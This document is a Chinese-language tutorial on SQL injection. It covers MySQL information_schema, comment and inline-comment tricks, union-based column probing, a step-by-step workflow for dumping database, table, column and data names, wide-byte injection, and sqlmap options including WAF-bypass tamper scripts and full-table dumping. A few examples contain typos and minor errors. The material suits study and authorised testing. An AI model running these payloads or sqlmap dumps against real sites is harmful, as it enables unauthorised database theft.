SQL注入
什么是SQL注入
- SQL注入就是指WEB应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来是实现对数据库的任意操作。
- 即通过把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。
- 一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,他根据不同的条件产生不同的SQL语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态的SQL语句会非常有用。
示例:
$query = "SELECT * FROM user WHERE id = $_GET['id']";
由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击
SQL注入的原理
QL注入漏洞的产生需要满足以下两个条件。
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询,用户能控制输入且输入的内容被带到数据库去执行
当传入的ID参数为1时,数据库执行的代码如下所示。
select * from users where id = 1'
这不符合数据库的语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。
select * from users where id=1 and 1=1
因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。
在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞
MySQL相关
在MYSQL5.0版本之后,MySQL默认在数据库中存放一个"information_schema"的数据库,是mysql自带的一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。
- 该数据库中可利用的表
SCHEMATA表
存储该用户创建的所有数据库名的库名。
- schema_name字段用来存储数据库名
TABLES表
:储存了数据库的库名以及各个数据库中的表名等信息,可以根据数据库的库名查询到该数据库包含的表有哪些。schema_name表
:储存了所有数据库的库名table_schema表
:储存了数据库名tables表
:储存了数据库库名,以及该库中包含的表名table_schema表
:储存了数据库名table_name表
:储存了表名- 库名为:TABLES_SCHEMA,表名为:TABLE_NAME,字段名为:COLUMN_NAME.
- 注:表和字段可能具有相对性
MySQL查询语句
- 不知道任何条件时如下所示
select 查询的字段名 from 库名.表名
- 已知一条条件时如下所示
select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'
select特殊查询用法
select now();
:查看时间select database();
:查看当前选择的是哪个数据库select version();
:查看版本select user();
:查看当前登录数据库的用户select @@datadir;
:查看数据路径select @@basedir;
:查看mysql安装路径select @@version_compile_os;
:查看mysql安装的系统select group_concat(字段名)
:把数据库中的某列数据或某几列数据合并为一个字符串
- group_concat函数是将查询到的每行结果以某个字段名进行合并,每一行合并的结果以逗号分隔开
limit的用法
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果
where条件用法
- where用于指定查询条件
select user,host from mysql.user where user = 'root';
ORDER BY
- 用于以某一列对结果集进行排序
注释符
在MySQL中,常见注释符的表达方式:#
或--空格
或/**/
,一般使用第二种
注:%23就相当于# ,%20相当于空格,%27相当于引号。
内嵌注释
- 形式:
/*!code*/
- 内联注释可以用于整个sql语句中,用来执行SQL语句
-1 /*!union*/ /*!select*/ 1,2,3
在MySQL中查看某个数据库中有哪些表
(1)
- 首先使用库
use mysql
; - 然后查看表
show tables
;
(2)
show tables from mysql
;
多条件查询——and
多条件查询——or
and是必须两个条件都成立,or是前后成立一个条件即可,在sql注入里经常使用or 1=1,因为1=1这个条件必然成立,就不用关其他条件是什么了
示例:select * from test.t1 where name = "aa" or 1=1;
因为1=1必然成立,查询语句会直接忽略name=“aa”,因此并没有查询name为aa的数据,而是查询了所有的数据。
联合查询——union
union可用于将两个sql语句联合起来,把结果合并在一个结果集里
示例:select * from test.t1 union select 1,2;
- 前半部分
select* from test.t1
查询了t1表的全部数据 - 后半部分
select 1,2
可以用于测试该表中有多少个字段,具体用法如下: - 例如如test.t1表有两个字段
- 使用
select * from test.t1 union select 1;
会报错,因为select 1的字段只有1个 - 而
select * from test.t1
的字段有两个,字段个数不匹配因此会报错。可以通过这种报错进行字段数量的探测,字段数量不一致会报错,字段数量一致则不会报错。 - 增加字段进行探测,使用
select * from test.t1 union select 1,2;
探测成功,该t1表的字段暴露
- 使用
查询示例
- information_schema.SCHEMATA表里有哪些字段
select * from information_schema.TABLES;
- 查看指定数据库的表信息
select * from information_schema.TABLES where table_schema = "test";
- 查看指定数据库的列信息
select * from information_schema.COLUMNS where table_schema = "test";
SQL注入一般流程
1、判断有无闭合 and 1=1 and 1=2
- 结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 - 采用二分法
3、判断数据回显位置 -1 union select 1,2,3,4,5.... - 参数等号后面加-表示不显示当前数据
4、获取当前数据库名、用户、版本 ,获取全部数据库名
5、获取表名
6、获取字段名
7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
判断参数数据类型
- 参数类型一般有数值型,字符型。理论上来说,只有数值型和字符型两种注入类型。
- 通过+1、-1、and 1=1、and 1=2、注释符。与其各种变种如与各种符号结合的and 1=1、and '1'='1等等判断参数数据类型。
- 先判断是否是整型,如果不是整型则为字符型,字符型存在多种情况,需要使用单引号【'】、双引号【"】、括号【()】多种组合方式进行试探。
举例
- id=1 and 1=1回显正常 id=1 and1=2回显错误(判断为整形)
- id=1 and 1=1和id=1 and 1=2回显正常(判断为字符型接下来判断闭合方式)
- id=1' and '1'='1回显正确id=1' and '1'='2回显错误(判断为【'】闭合)
- id=1" and "1"="1 回显正常 id=1" and "1"="2回显错误(判断为【"】闭合)
- 以上注入不成功的时候尝试1%df’ 此为宽字节注入
数值型
- 前台页面输入的参数是「数字」。
- 写入and1=1 与and1=2回显不相同说明后面的and1=1和and1=2对网页造成了影响,判断为数值型
字符型
- 前台页面输入的参数是「字符串」。
- 字符可以使用单引号包裹,也可以使用双引号包裹。
- 根据包裹字符串的「引号」不同,字符型注入可以分为:
- 单引号字符型注入
- 双引号字符型注入
- 带有括号的注入
- SQL的语法,支持使用一个或多个「括号」包裹参数,使得这两个基础的注入类型存在一些变种。
- a. 数值型+括号的注入:使用括号包裹数值型参数
- b. 单引号字符串+括号的注入:使用括号和单引号包裹参数
- c. 双引号字符串+括号的注入使用括号和双引号包裹参数
- SQL的语法,支持使用一个或多个「括号」包裹参数,使得这两个基础的注入类型存在一些变种。
select \* from user where id = (1);
select \* from user where id = ((1));
select \* from user where username = ('zhangsan');
select \* from user where username = (('zhangsan'));
select \* from user where username = ("zhangsan");
部分重要语句详解
1、 ?id=1 and 1=1 ?id=1 and 1=2
'?’是传值的意思,‘and’是并列与关系,必须左右两边都为真才能有返回值,如果出现 ?id=1 and 1=2这种错误的语法就会报错,可以用这种方式来判断SQL注入类型
2、 --+
’--‘在SQL语句中起着注释的作用,能将后面的语句注释掉,’+‘则代表空格,但是必须两者同时出现,才有注释作用,单独的’--‘不能起到注释作用
3、 order by
order by语句用于根据指定的列进行排序,指定的列值也可以为数据所在的列数,但取的数字不可超过原有的列数,否则会报错,可用于判断列数
4、 group_concat函数
roup_concat函数是用来将查询到的结果进行合并成一行,合并的结果以逗号隔开
示例:
group_concat(table_name) from information_schema.tables where table_schema='security'--+
的翻译即在information_schema
数据库的tables
表中查找数据库security
所含有的表有哪些group_concat(column_name) from information_schema.columns where table_schema='security'
表示输出所有表中的所有列名
爆库示例
?id=-1 union select 1,database()
- 爆出字段1所在的数据库
爆表示例
?id=-1 union 1,(select table_name from information_schema.tables where table_schema='库名' limit 0,1)
等价于
?id=-1 union 1,table_name from information_schema.tables where table_schema='库名'
爆所有表:
?id=-1 union 1,group_concat(table_name) from information_schema.tables where table_schema='库名'
打开表
-1 union select 1,group_concat(字段名) from 库名.表名
相关工具sqlmap用法
注:后面的语法都以我的sqlmap为例
常用参数
*-u
语法:sqlmap -u "URL?id=1"
- -u为基础参数,后跟需要测试的URL,通常是GET类型注入的必备参数
*--batch
语法:sqlmap -u "URL" --batch
- 使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入
--flush-session
语法:sqlmap -u "URL" --flush-session
- sqlmap在测试某一目标URL后会生成session文件,该文件保存了本次测试的结果信息。当我们再次测试该目标URL时,会自动加载上一次的结果
- 当我们想重新测试该目标URL时,可以使用–flush-session清除当前目标的会话文件,可以看到加了参数后,sqlmap对目标URL进行重新测试了。
--dbms
语法:sqlmap -u "URL" --dbms 数据库名
sqlmap默认情况下会自动检测Web应用程序的后端数据库管理系统,在我们明确知道测试的数据库类型时,可以使用–dbms可以指定数据库。
注:一般用不到
--level
语法:sqlmap -u "URL" --level 等级
使用--level参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用--level来提高测试等级。
--random-agent
语法:sqlmap -u "URL" --random-agent
- 使用--random-agent参数可以指定随机选择请求头中的User-Agent
- sqlmap默认使用sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 作为User-Agent执行HTTP请求
--user-agent
语法:`sqlmap -u "URL" --user-agent="自定义User-Agent"
- 使用–user-agent参数可指定自定义User-Agent
--tamper
语法:sqlmap -u URL --tamper 脚本路径1,脚本路径2...
- 使用–tamper参数可以在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。
- sqlmap提供了部分篡改脚本,存放在sqlmap项目路径/tamper/文件夹中,也可以自己编写篡改脚本实现自定义的绕过。
- 常用的tamper文件有 space2comment.py、between.py
--technique
语法:sqlmap -u URL --technique 注入类型选项(可多种组合)示例:BE
- 使用–technique参数可用于指定要测试的SQL注入类型,默认情况下,sqlmap会测试所有的注入类型。如果想指定测试某几种诸如类型,可以使用–technique指定。sqlmap针对每一种类型,提供了字母选项,可以组合字母选项来指定多种注入类型进行测试。
- 注入类型对应的参数
- B:基于布尔的盲注
- E:基于错误
- U:基于联合查询
- S:堆叠查询
- T:基于时间的盲注
- Q:内联查询
--cookie
语法:sqlmap -u 'URL' --cookie 'cookie值=...;~' 后续自己加
- 用于cookie注入
-h, --help
- Show basic help message and exit
-hh
- 显示高级帮助消息并退出
*--current-user
- 检索DBMS当前用户
*--current-db
- 检索DBMS当前数据库
*--dbs
- 枚举DBMS数据库
*--tables
- 枚举DBMS数据库表
*--columns
- 枚举DBMS数据库表列
*--schema
- 枚举DBMS模式
*--dump
- 转储DBMS数据库表条目
*--dump-all
- 转储所有DBMS数据库表条目
*-D DB
- DB为你要枚举的DBMS数据库
*-T TBL
- TBL为要枚举的DBMS数据库表
*-C COL
- COL为要枚举的DBMS数据库表列
目前可解决的注入类型
- 整数型
- 字符型
- 报错注入
- 布尔盲注
- 时间盲注
- cookie注入